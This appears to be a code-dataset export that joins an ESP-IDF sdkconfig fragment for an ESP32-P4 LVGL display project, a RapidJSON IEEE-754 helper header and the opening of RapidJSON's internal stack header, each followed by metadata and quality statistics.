# CONFIG_LV_USE_DRAW_DAVE2D is not set
# CONFIG_LV_USE_DRAW_SDL is not set
# CONFIG_LV_USE_DRAW_VG_LITE is not set
# CONFIG_LV_USE_VECTOR_GRAPHIC is not set
# end of Rendering Configuration
#
# Feature Configuration
#
#
# Logging
#
# CONFIG_LV_USE_LOG is not set
# end of Logging
#
# Asserts
#
CONFIG_LV_USE_ASSERT_NULL=y
CONFIG_LV_USE_ASSERT_MALLOC=y
# CONFIG_LV_USE_ASSERT_STYLE is not set
# CONFIG_LV_USE_ASSERT_MEM_INTEGRITY is not set
# CONFIG_LV_USE_ASSERT_OBJ is not set
CONFIG_LV_ASSERT_HANDLER_INCLUDE="assert.h"
# end of Asserts
#
# Debug
#
# CONFIG_LV_USE_REFR_DEBUG is not set
# CONFIG_LV_USE_LAYER_DEBUG is not set
# CONFIG_LV_USE_PARALLEL_DRAW_DEBUG is not set
# end of Debug
#
# Others
#
# CONFIG_LV_ENABLE_GLOBAL_CUSTOM is not set
CONFIG_LV_CACHE_DEF_SIZE=0
CONFIG_LV_IMAGE_HEADER_CACHE_DEF_CNT=0
CONFIG_LV_GRADIENT_MAX_STOPS=2
CONFIG_LV_COLOR_MIX_ROUND_OFS=128
# CONFIG_LV_OBJ_STYLE_CACHE is not set
# CONFIG_LV_USE_OBJ_ID is not set
# CONFIG_LV_USE_OBJ_PROPERTY is not set
# end of Others
# end of Feature Configuration
#
# Compiler Settings
#
# CONFIG_LV_BIG_ENDIAN_SYSTEM is not set
CONFIG_LV_ATTRIBUTE_MEM_ALIGN_SIZE=1
CONFIG_LV_ATTRIBUTE_FAST_MEM_USE_IRAM=y
# CONFIG_LV_USE_FLOAT is not set
# CONFIG_LV_USE_MATRIX is not set
# CONFIG_LV_USE_PRIVATE_API is not set
# end of Compiler Settings
#
# Font Usage
#
#
# Enable built-in fonts
#
# CONFIG_LV_FONT_MONTSERRAT_8 is not set
# CONFIG_LV_FONT_MONTSERRAT_10 is not set
CONFIG_LV_FONT_MONTSERRAT_12=y
CONFIG_LV_FONT_MONTSERRAT_14=y
CONFIG_LV_FONT_MONTSERRAT_16=y
CONFIG_LV_FONT_MONTSERRAT_18=y
CONFIG_LV_FONT_MONTSERRAT_20=y
CONFIG_LV_FONT_MONTSERRAT_22=y
CONFIG_LV_FONT_MONTSERRAT_24=y
CONFIG_LV_FONT_MONTSERRAT_26=y
# CONFIG_LV_FONT_MONTSERRAT_28 is not set
# CONFIG_LV_FONT_MONTSERRAT_30 is not set
# CONFIG_LV_FONT_MONTSERRAT_32 is not set
# CONFIG_LV_FONT_MONTSERRAT_34 is not set
# CONFIG_LV_FONT_MONTSERRAT_36 is not set
# CONFIG_LV_FONT_MONTSERRAT_38 is not set
# CONFIG_LV_FONT_MONTSERRAT_40 is not set
# CONFIG_LV_FONT_MONTSERRAT_42 is not set
# CONFIG_LV_FONT_MONTSERRAT_44 is not set
# CONFIG_LV_FONT_MONTSERRAT_46 is not set
# CONFIG_LV_FONT_MONTSERRAT_48 is not set
# CONFIG_LV_FONT_MONTSERRAT_28_COMPRESSED is not set
# CONFIG_LV_FONT_DEJAVU_16_PERSIAN_HEBREW is not set
# CONFIG_LV_FONT_SIMSUN_14_CJK is not set
# CONFIG_LV_FONT_SIMSUN_16_CJK is not set
# CONFIG_LV_FONT_UNSCII_8 is not set
# CONFIG_LV_FONT_UNSCII_16 is not set
# end of Enable built-in fonts
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_8 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_10 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_12 is not set
CONFIG_LV_FONT_DEFAULT_MONTSERRAT_14=y
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_16 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_18 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_20 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_22 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_24 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_26 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_28 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_30 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_32 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_34 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_36 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_38 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_40 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_42 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_44 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_46 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_48 is not set
# CONFIG_LV_FONT_DEFAULT_MONTSERRAT_28_COMPRESSED is not set
# CONFIG_LV_FONT_DEFAULT_DEJAVU_16_PERSIAN_HEBREW is not set
# CONFIG_LV_FONT_DEFAULT_SIMSUN_14_CJK is not set
# CONFIG_LV_FONT_DEFAULT_SIMSUN_16_CJK is not set
# CONFIG_LV_FONT_DEFAULT_UNSCII_8 is not set
# CONFIG_LV_FONT_DEFAULT_UNSCII_16 is not set
# CONFIG_LV_FONT_FMT_TXT_LARGE is not set
CONFIG_LV_USE_FONT_COMPRESSED=y
CONFIG_LV_USE_FONT_PLACEHOLDER=y
# end of Font Usage
#
# Text Settings
#
CONFIG_LV_TXT_ENC_UTF8=y
# CONFIG_LV_TXT_ENC_ASCII is not set
CONFIG_LV_TXT_BREAK_CHARS=" ,.;:-_"
CONFIG_LV_TXT_LINE_BREAK_LONG_LEN=0
# CONFIG_LV_USE_BIDI is not set
# CONFIG_LV_USE_ARABIC_PERSIAN_CHARS is not set
# end of Text Settings
#
# Widget Usage
#
CONFIG_LV_WIDGETS_HAS_DEFAULT_VALUE=y
CONFIG_LV_USE_ANIMIMG=y
CONFIG_LV_USE_ARC=y
CONFIG_LV_USE_BAR=y
CONFIG_LV_USE_BUTTON=y
CONFIG_LV_USE_BUTTONMATRIX=y
CONFIG_LV_USE_CALENDAR=y
# CONFIG_LV_CALENDAR_WEEK_STARTS_MONDAY is not set
CONFIG_LV_USE_CALENDAR_HEADER_ARROW=y
CONFIG_LV_USE_CALENDAR_HEADER_DROPDOWN=y
# CONFIG_LV_USE_CALENDAR_CHINESE is not set
CONFIG_LV_USE_CANVAS=y
CONFIG_LV_USE_CHART=y
CONFIG_LV_USE_CHECKBOX=y
CONFIG_LV_USE_DROPDOWN=y
CONFIG_LV_USE_IMAGE=y
CONFIG_LV_USE_IMAGEBUTTON=y
CONFIG_LV_USE_KEYBOARD=y
CONFIG_LV_USE_LABEL=y
CONFIG_LV_LABEL_TEXT_SELECTION=y
CONFIG_LV_LABEL_LONG_TXT_HINT=y
CONFIG_LV_LABEL_WAIT_CHAR_COUNT=3
CONFIG_LV_USE_LED=y
CONFIG_LV_USE_LINE=y
CONFIG_LV_USE_LIST=y
CONFIG_LV_USE_MENU=y
CONFIG_LV_USE_MSGBOX=y
CONFIG_LV_USE_ROLLER=y
CONFIG_LV_USE_SCALE=y
CONFIG_LV_USE_SLIDER=y
CONFIG_LV_USE_SPAN=y
CONFIG_LV_SPAN_SNIPPET_STACK_SIZE=64
CONFIG_LV_USE_SPINBOX=y
CONFIG_LV_USE_SPINNER=y
CONFIG_LV_USE_SWITCH=y
CONFIG_LV_USE_TEXTAREA=y
CONFIG_LV_TEXTAREA_DEF_PWD_SHOW_TIME=1500
CONFIG_LV_USE_TABLE=y
CONFIG_LV_USE_TABVIEW=y
CONFIG_LV_USE_TILEVIEW=y
CONFIG_LV_USE_WIN=y
# end of Widget Usage
#
# Themes
#
CONFIG_LV_USE_THEME_DEFAULT=y
# CONFIG_LV_THEME_DEFAULT_DARK is not set
CONFIG_LV_THEME_DEFAULT_GROW=y
CONFIG_LV_THEME_DEFAULT_TRANSITION_TIME=80
CONFIG_LV_USE_THEME_SIMPLE=y
# CONFIG_LV_USE_THEME_MONO is not set
# end of Themes
#
# Layouts
#
CONFIG_LV_USE_FLEX=y
CONFIG_LV_USE_GRID=y
# end of Layouts
#
# 3rd Party Libraries
#
CONFIG_LV_FS_DEFAULT_DRIVE_LETTER=0
# CONFIG_LV_USE_FS_STDIO is not set
# CONFIG_LV_USE_FS_POSIX is not set
# CONFIG_LV_USE_FS_WIN32 is not set
# CONFIG_LV_USE_FS_FATFS is not set
# CONFIG_LV_USE_FS_MEMFS is not set
# CONFIG_LV_USE_FS_LITTLEFS is not set
# CONFIG_LV_USE_FS_ARDUINO_ESP_LITTLEFS is not set
# CONFIG_LV_USE_FS_ARDUINO_SD is not set
# CONFIG_LV_USE_LODEPNG is not set
# CONFIG_LV_USE_LIBPNG is not set
# CONFIG_LV_USE_BMP is not set
# CONFIG_LV_USE_TJPGD is not set
# CONFIG_LV_USE_LIBJPEG_TURBO is not set
# CONFIG_LV_USE_GIF is not set
# CONFIG_LV_BIN_DECODER_RAM_LOAD is not set
# CONFIG_LV_USE_RLE is not set
# CONFIG_LV_USE_QRCODE is not set
# CONFIG_LV_USE_BARCODE is not set
# CONFIG_LV_USE_FREETYPE is not set
# CONFIG_LV_USE_TINY_TTF is not set
# CONFIG_LV_USE_RLOTTIE is not set
# CONFIG_LV_USE_THORVG is not set
# CONFIG_LV_USE_LZ4 is not set
# CONFIG_LV_USE_FFMPEG is not set
# end of 3rd Party Libraries
#
# Others
#
# CONFIG_LV_USE_SNAPSHOT is not set
CONFIG_LV_USE_SYSMON=y
CONFIG_LV_USE_PERF_MONITOR=y
# CONFIG_LV_PERF_MONITOR_ALIGN_TOP_LEFT is not set
# CONFIG_LV_PERF_MONITOR_ALIGN_TOP_MID is not set
# CONFIG_LV_PERF_MONITOR_ALIGN_TOP_RIGHT is not set
# CONFIG_LV_PERF_MONITOR_ALIGN_BOTTOM_LEFT is not set
# CONFIG_LV_PERF_MONITOR_ALIGN_BOTTOM_MID is not set
CONFIG_LV_PERF_MONITOR_ALIGN_BOTTOM_RIGHT=y
# CONFIG_LV_PERF_MONITOR_ALIGN_LEFT_MID is not set
# CONFIG_LV_PERF_MONITOR_ALIGN_RIGHT_MID is not set
# CONFIG_LV_PERF_MONITOR_ALIGN_CENTER is not set
# CONFIG_LV_USE_PERF_MONITOR_LOG_MODE is not set
# CONFIG_LV_USE_PROFILER is not set
# CONFIG_LV_USE_MONKEY is not set
# CONFIG_LV_USE_GRIDNAV is not set
# CONFIG_LV_USE_FRAGMENT is not set
CONFIG_LV_USE_IMGFONT=y
CONFIG_LV_USE_OBSERVER=y
# CONFIG_LV_USE_IME_PINYIN is not set
# CONFIG_LV_USE_FILE_EXPLORER is not set
CONFIG_LVGL_VERSION_MAJOR=9
CONFIG_LVGL_VERSION_MINOR=2
CONFIG_LVGL_VERSION_PATCH=2
# end of Others
#
# Devices
#
# CONFIG_LV_USE_SDL is not set
# CONFIG_LV_USE_X11 is not set
# CONFIG_LV_USE_WAYLAND is not set
# CONFIG_LV_USE_LINUX_FBDEV is not set
# CONFIG_LV_USE_NUTTX is not set
# CONFIG_LV_USE_LINUX_DRM is not set
# CONFIG_LV_USE_TFT_ESPI is not set
# CONFIG_LV_USE_EVDEV is not set
# CONFIG_LV_USE_LIBINPUT is not set
# CONFIG_LV_USE_ST7735 is not set
# CONFIG_LV_USE_ST7789 is not set
# CONFIG_LV_USE_ST7796 is not set
# CONFIG_LV_USE_ILI9341 is not set
# CONFIG_LV_USE_GENERIC_MIPI is not set
# CONFIG_LV_USE_RENESAS_GLCDC is not set
# CONFIG_LV_USE_OPENGLES is not set
# CONFIG_LV_USE_QNX is not set
# end of Devices
#
# Examples
#
CONFIG_LV_BUILD_EXAMPLES=y
# end of Examples
#
# Demos
#
CONFIG_LV_USE_DEMO_WIDGETS=y
# CONFIG_LV_USE_DEMO_KEYPAD_AND_ENCODER is not set
CONFIG_LV_USE_DEMO_BENCHMARK=y
CONFIG_LV_USE_DEMO_RENDER=y
CONFIG_LV_USE_DEMO_SCROLL=y
CONFIG_LV_USE_DEMO_STRESS=y
CONFIG_LV_USE_DEMO_TRANSFORM=y
CONFIG_LV_USE_DEMO_MUSIC=y
# CONFIG_LV_DEMO_MUSIC_SQUARE is not set
# CONFIG_LV_DEMO_MUSIC_LANDSCAPE is not set
# CONFIG_LV_DEMO_MUSIC_ROUND is not set
# CONFIG_LV_DEMO_MUSIC_LARGE is not set
CONFIG_LV_DEMO_MUSIC_AUTO_PLAY=y
CONFIG_LV_USE_DEMO_FLEX_LAYOUT=y
CONFIG_LV_USE_DEMO_MULTILANG=y
# end of Demos
# end of LVGL configuration
#
# Board Support Package(ESP32-P4)
#
CONFIG_BSP_ERROR_CHECK=y
#
# I2C
#
CONFIG_BSP_I2C_NUM=1
CONFIG_BSP_I2C_FAST_MODE=y
CONFIG_BSP_I2C_CLK_SPEED_HZ=400000
# end of I2C
#
# I2S
#
CONFIG_BSP_I2S_NUM=1
# end of I2S
#
# uSD card - Virtual File System
#
# CONFIG_BSP_SD_FORMAT_ON_MOUNT_FAIL is not set
CONFIG_BSP_SD_MOUNT_POINT="/sdcard"
# end of uSD card - Virtual File System
#
# SPIFFS - Virtual File System
#
# CONFIG_BSP_SPIFFS_FORMAT_ON_MOUNT_FAIL is not set
CONFIG_BSP_SPIFFS_MOUNT_POINT="/spiffs"
CONFIG_BSP_SPIFFS_PARTITION_LABEL="storage"
CONFIG_BSP_SPIFFS_MAX_FILES=5
# end of SPIFFS - Virtual File System
#
# Display
#
CONFIG_BSP_LCD_DPI_BUFFER_NUMS=1
CONFIG_BSP_DISPLAY_BRIGHTNESS_LEDC_CH=1
CONFIG_BSP_LCD_COLOR_FORMAT_RGB565=y
# CONFIG_BSP_LCD_COLOR_FORMAT_RGB888 is not set
CONFIG_BSP_LCD_TYPE_800_1280_10_1_INCH=y
# CONFIG_BSP_LCD_TYPE_800_1280_10_1_INCH_A is not set
# CONFIG_BSP_LCD_TYPE_800_1280_8_INCH_A is not set
# CONFIG_BSP_LCD_TYPE_720_1280_7_INCH_A is not set
# CONFIG_BSP_LCD_TYPE_480_640_2_8_INCH is not set
# CONFIG_BSP_LCD_TYPE_800_800_3_4_INCH_C is not set
# CONFIG_BSP_LCD_TYPE_720_720_4_INCH_C is not set
# CONFIG_BSP_LCD_TYPE_480_800_4_INCH is not set
# CONFIG_BSP_LCD_TYPE_720_1280_5_INCH_D is not set
# CONFIG_BSP_LCD_TYPE_720_1560_6_25_INCH is not set
# CONFIG_BSP_LCD_TYPE_1024_600_5_INCH_C is not set
# CONFIG_BSP_LCD_TYPE_1024_600_7_INCH_C is not set
# CONFIG_BSP_LCD_TYPE_400_1280_7_9_INCH is not set
# CONFIG_BSP_LCD_TYPE_1280_800_7_INCH_E is not set
# CONFIG_BSP_LCD_TYPE_1280_800_8_INCH_C is not set
# CONFIG_BSP_LCD_TYPE_1280_800_10_1_INCH_C is not set
# CONFIG_BSP_LCD_TYPE_480_1920_8_8_INCH is not set
# CONFIG_BSP_LCD_TYPE_320_1480_11_9_INCH is not set
CONFIG_BSP_LCD_MIPI_DSI_LANE_BITRATE_MBPS=1500
# end of Display
# end of Board Support Package(ESP32-P4)
# end of Component config
CONFIG_IDF_EXPERIMENTAL_FEATURES=y
# Deprecated options for backward compatibility
# CONFIG_APP_BUILD_TYPE_ELF_RAM is not set
# CONFIG_NO_BLOBS is not set
# CONFIG_LOG_BOOTLOADER_LEVEL_NONE is not set
# CONFIG_LOG_BOOTLOADER_LEVEL_ERROR is not set
# CONFIG_LOG_BOOTLOADER_LEVEL_WARN is not set
CONFIG_LOG_BOOTLOADER_LEVEL_INFO=y
# CONFIG_LOG_BOOTLOADER_LEVEL_DEBUG is not set
# CONFIG_LOG_BOOTLOADER_LEVEL_VERBOSE is not set
CONFIG_LOG_BOOTLOADER_LEVEL=3
# CONFIG_APP_ROLLBACK_ENABLE is not set
# CONFIG_FLASH_ENCRYPTION_ENABLED is not set
CONFIG_FLASHMODE_QIO=y
# CONFIG_FLASHMODE_QOUT is not set
# CONFIG_FLASHMODE_DIO is not set
# CONFIG_FLASHMODE_DOUT is not set
CONFIG_MONITOR_BAUD=115200
# CONFIG_OPTIMIZATION_LEVEL_DEBUG is not set
# CONFIG_COMPILER_OPTIMIZATION_LEVEL_DEBUG is not set
# CONFIG_COMPILER_OPTIMIZATION_DEFAULT is not set
# CONFIG_OPTIMIZATION_LEVEL_RELEASE is not set
# CONFIG_COMPILER_OPTIMIZATION_LEVEL_RELEASE is not set
CONFIG_OPTIMIZATION_ASSERTIONS_ENABLED=y
# CONFIG_OPTIMIZATION_ASSERTIONS_SILENT is not set
# CONFIG_OPTIMIZATION_ASSERTIONS_DISABLED is not set
CONFIG_OPTIMIZATION_ASSERTION_LEVEL=2
# CONFIG_CXX_EXCEPTIONS is not set
CONFIG_STACK_CHECK_NONE=y
# CONFIG_STACK_CHECK_NORM is not set
# CONFIG_STACK_CHECK_STRONG is not set
# CONFIG_STACK_CHECK_ALL is not set
# CONFIG_WARN_WRITE_STRINGS is not set
# CONFIG_ESP32_APPTRACE_DEST_TRAX is not set
CONFIG_ESP32_APPTRACE_DEST_NONE=y
CONFIG_ESP32_APPTRACE_LOCK_ENABLE=y
# CONFIG_MCPWM_ISR_IN_IRAM is not set
# CONFIG_EVENT_LOOP_PROFILING is not set
CONFIG_POST_EVENTS_FROM_ISR=y
CONFIG_POST_EVENTS_FROM_IRAM_ISR=y
CONFIG_GDBSTUB_SUPPORT_TASKS=y
CONFIG_GDBSTUB_MAX_TASKS=32
# CONFIG_OTA_ALLOW_HTTP is not set
CONFIG_SYSTEM_EVENT_QUEUE_SIZE=32
CONFIG_SYSTEM_EVENT_TASK_STACK_SIZE=2304
CONFIG_MAIN_TASK_STACK_SIZE=12288
CONFIG_CONSOLE_UART_DEFAULT=y
# CONFIG_CONSOLE_UART_CUSTOM is not set
# CONFIG_CONSOLE_UART_NONE is not set
# CONFIG_ESP_CONSOLE_UART_NONE is not set
CONFIG_CONSOLE_UART=y
CONFIG_CONSOLE_UART_NUM=0
CONFIG_CONSOLE_UART_BAUDRATE=115200
CONFIG_INT_WDT=y
CONFIG_INT_WDT_TIMEOUT_MS=300
CONFIG_INT_WDT_CHECK_CPU1=y
CONFIG_TASK_WDT=y
CONFIG_ESP_TASK_WDT=y
# CONFIG_TASK_WDT_PANIC is not set
CONFIG_TASK_WDT_TIMEOUT_S=5
CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU0=y
CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU1=y
# CONFIG_ESP32_DEBUG_STUBS_ENABLE is not set
CONFIG_BROWNOUT_DET=y
CONFIG_BROWNOUT_DET_LVL_SEL_7=y
# CONFIG_BROWNOUT_DET_LVL_SEL_6 is not set
# CONFIG_BROWNOUT_DET_LVL_SEL_5 is not set
CONFIG_BROWNOUT_DET_LVL=7
CONFIG_IPC_TASK_STACK_SIZE=1024
CONFIG_TIMER_TASK_STACK_SIZE=3584
# CONFIG_ESP32_ENABLE_COREDUMP_TO_FLASH is not set
# CONFIG_ESP32_ENABLE_COREDUMP_TO_UART is not set
CONFIG_ESP32_ENABLE_COREDUMP_TO_NONE=y
CONFIG_TIMER_TASK_PRIORITY=1
CONFIG_TIMER_TASK_STACK_DEPTH=2048
CONFIG_TIMER_QUEUE_LENGTH=10
# CONFIG_ENABLE_STATIC_TASK_CLEAN_UP_HOOK is not set
CONFIG_SPIRAM_ALLOW_STACK_EXTERNAL_MEMORY=y
# CONFIG_HAL_ASSERTION_SILIENT is not set
# CONFIG_L2_TO_L3_COPY is not set
CONFIG_ESP_GRATUITOUS_ARP=y
CONFIG_GARP_TMR_INTERVAL=60
CONFIG_TCPIP_RECVMBOX_SIZE=32
CONFIG_TCP_MAXRTX=12
CONFIG_TCP_SYNMAXRTX=12
CONFIG_TCP_MSS=1440
CONFIG_TCP_MSL=60000
CONFIG_TCP_SND_BUF_DEFAULT=5760
CONFIG_TCP_WND_DEFAULT=5760
CONFIG_TCP_RECVMBOX_SIZE=6
CONFIG_TCP_QUEUE_OOSEQ=y
CONFIG_TCP_OVERSIZE_MSS=y
# CONFIG_TCP_OVERSIZE_QUARTER_MSS is not set
# CONFIG_TCP_OVERSIZE_DISABLE is not set
CONFIG_UDP_RECVMBOX_SIZE=6
CONFIG_TCPIP_TASK_STACK_SIZE=3072
CONFIG_TCPIP_TASK_AFFINITY_NO_AFFINITY=y
# CONFIG_TCPIP_TASK_AFFINITY_CPU0 is not set
# CONFIG_TCPIP_TASK_AFFINITY_CPU1 is not set
CONFIG_TCPIP_TASK_AFFINITY=0x7FFFFFFF
# CONFIG_PPP_SUPPORT is not set
CONFIG_ESP32_PTHREAD_TASK_PRIO_DEFAULT=5
CONFIG_ESP32_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072
CONFIG_ESP32_PTHREAD_STACK_MIN=768
CONFIG_ESP32_DEFAULT_PTHREAD_CORE_NO_AFFINITY=y
# CONFIG_ESP32_DEFAULT_PTHREAD_CORE_0 is not set
# CONFIG_ESP32_DEFAULT_PTHREAD_CORE_1 is not set
CONFIG_ESP32_PTHREAD_TASK_CORE_DEFAULT=-1
CONFIG_ESP32_PTHREAD_TASK_NAME_DEFAULT="pthread"
CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ABORTS=y
# CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_FAILS is not set
# CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ALLOWED is not set
CONFIG_SUPPRESS_SELECT_DEBUG_OUTPUT=y
CONFIG_SUPPORT_TERMIOS=y
CONFIG_SEMIHOSTFS_MAX_MOUNT_POINTS=1
# End of deprecated options
| 82,172
|
sdkconfig
|
esp32-p4-nano
|
en
|
unknown
|
unknown
|
{}
|
0
|
{}
|
0015/esp_rlottie
|
rlottie/src/lottie/rapidjson/internal/ieee754.h
|
// Tencent is pleased to support the open source community by making RapidJSON available.
//
// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. All rights reserved.
//
// Licensed under the MIT License (the "License"); you may not use this file except
// in compliance with the License. You may obtain a copy of the License at
//
// http://opensource.org/licenses/MIT
//
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
#ifndef RAPIDJSON_IEEE754_
#define RAPIDJSON_IEEE754_
#include "../rapidjson.h"
RAPIDJSON_NAMESPACE_BEGIN
namespace internal {
class Double {
public:
Double() {}
Double(double d) : d_(d) {}
Double(uint64_t u) : u_(u) {}
double Value() const { return d_; }
uint64_t Uint64Value() const { return u_; }
double NextPositiveDouble() const {
RAPIDJSON_ASSERT(!Sign());
return Double(u_ + 1).Value();
}
bool Sign() const { return (u_ & kSignMask) != 0; }
uint64_t Significand() const { return u_ & kSignificandMask; }
int Exponent() const { return static_cast<int>(((u_ & kExponentMask) >> kSignificandSize) - kExponentBias); }
bool IsNan() const { return (u_ & kExponentMask) == kExponentMask && Significand() != 0; }
bool IsInf() const { return (u_ & kExponentMask) == kExponentMask && Significand() == 0; }
bool IsNanOrInf() const { return (u_ & kExponentMask) == kExponentMask; }
bool IsNormal() const { return (u_ & kExponentMask) != 0 || Significand() == 0; }
bool IsZero() const { return (u_ & (kExponentMask | kSignificandMask)) == 0; }
uint64_t IntegerSignificand() const { return IsNormal() ? Significand() | kHiddenBit : Significand(); }
int IntegerExponent() const { return (IsNormal() ? Exponent() : kDenormalExponent) - kSignificandSize; }
uint64_t ToBias() const { return (u_ & kSignMask) ? ~u_ + 1 : u_ | kSignMask; }
static int EffectiveSignificandSize(int order) {
if (order >= -1021)
return 53;
else if (order <= -1074)
return 0;
else
return order + 1074;
}
private:
static const int kSignificandSize = 52;
static const int kExponentBias = 0x3FF;
static const int kDenormalExponent = 1 - kExponentBias;
static const uint64_t kSignMask = RAPIDJSON_UINT64_C2(0x80000000, 0x00000000);
static const uint64_t kExponentMask = RAPIDJSON_UINT64_C2(0x7FF00000, 0x00000000);
static const uint64_t kSignificandMask = RAPIDJSON_UINT64_C2(0x000FFFFF, 0xFFFFFFFF);
static const uint64_t kHiddenBit = RAPIDJSON_UINT64_C2(0x00100000, 0x00000000);
union {
double d_;
uint64_t u_;
};
};
} // namespace internal
RAPIDJSON_NAMESPACE_END
#endif // RAPIDJSON_IEEE754_
| 2,994
|
ieee754
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 345, "qsc_code_num_chars": 2994.0, "qsc_code_mean_word_length": 5.81449275, "qsc_code_frac_words_unique": 0.4115942, "qsc_code_frac_chars_top_2grams": 0.07128614, "qsc_code_frac_chars_top_3grams": 0.05383848, "qsc_code_frac_chars_top_4grams": 0.06231306, "qsc_code_frac_chars_dupe_5grams": 0.10069791, "qsc_code_frac_chars_dupe_6grams": 0.05383848, "qsc_code_frac_chars_dupe_7grams": 0.05383848, "qsc_code_frac_chars_dupe_8grams": 0.05383848, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.05661174, "qsc_code_frac_chars_whitespace": 0.20941884, "qsc_code_size_file_byte": 2994.0, "qsc_code_num_lines": 78.0, "qsc_code_num_chars_line_max": 114.0, "qsc_code_num_chars_line_mean": 38.38461538, "qsc_code_frac_chars_alphabet": 0.79087452, "qsc_code_frac_chars_comments": 0.25317301, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.04, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00626118, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.03801431, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.02, "qsc_codec_frac_lines_func_ratio": 0.34, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.44, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/lottie/rapidjson/internal/stack.h
|
// Tencent is pleased to support the open source community by making RapidJSON available.
//
// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. All rights reserved.
//
// Licensed under the MIT License (the "License"); you may not use this file except
// in compliance with the License. You may obtain a copy of the License at
//
// http://opensource.org/licenses/MIT
//
// Unless required by applicable law or agreed to in writing, software distributed
// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
// CONDITIONS OF ANY KIND, either express or implied. See the License for the
// specific language governing permissions and limitations under the License.
#ifndef RAPIDJSON_INTERNAL_STACK_H_
#define RAPIDJSON_INTERNAL_STACK_H_
#include "../allocators.h"
#include "swap.h"
#include <cstddef>
#if defined(__clang__)
RAPIDJSON_DIAG_PUSH
RAPIDJSON_DIAG_OFF(c++98-compat)
#endif
RAPIDJSON_NAMESPACE_BEGIN
namespace internal {
///////////////////////////////////////////////////////////////////////////////
// Stack
//! A type-unsafe stack for storing different types of data.
/*! \tparam Allocator Allocator for allocating stack memory.
*/
template <typename Allocator>
class Stack {
public:
// Optimization note: Do not allocate memory for stack_ in constructor.
// Do it lazily when first Push() -> Expand() -> Resize().
Stack(Allocator* allocator, size_t stackCapacity) : allocator_(allocator), ownAllocator_(0), stack_(0), stackTop_(0), stackEnd_(0), initialCapacity_(stackCapacity) {
}
#if RAPIDJSON_HAS_CXX11_RVALUE_REFS
Stack(Stack&& rhs)
: allocator_(rhs.allocator_),
ownAllocator_(rhs.ownAllocator_),
stack_(rhs.stack_),
stackTop_(rhs.stackTop_),
stackEnd_(rhs.stackEnd_),
initialCapacity_(rhs.initialCapacity_)
{
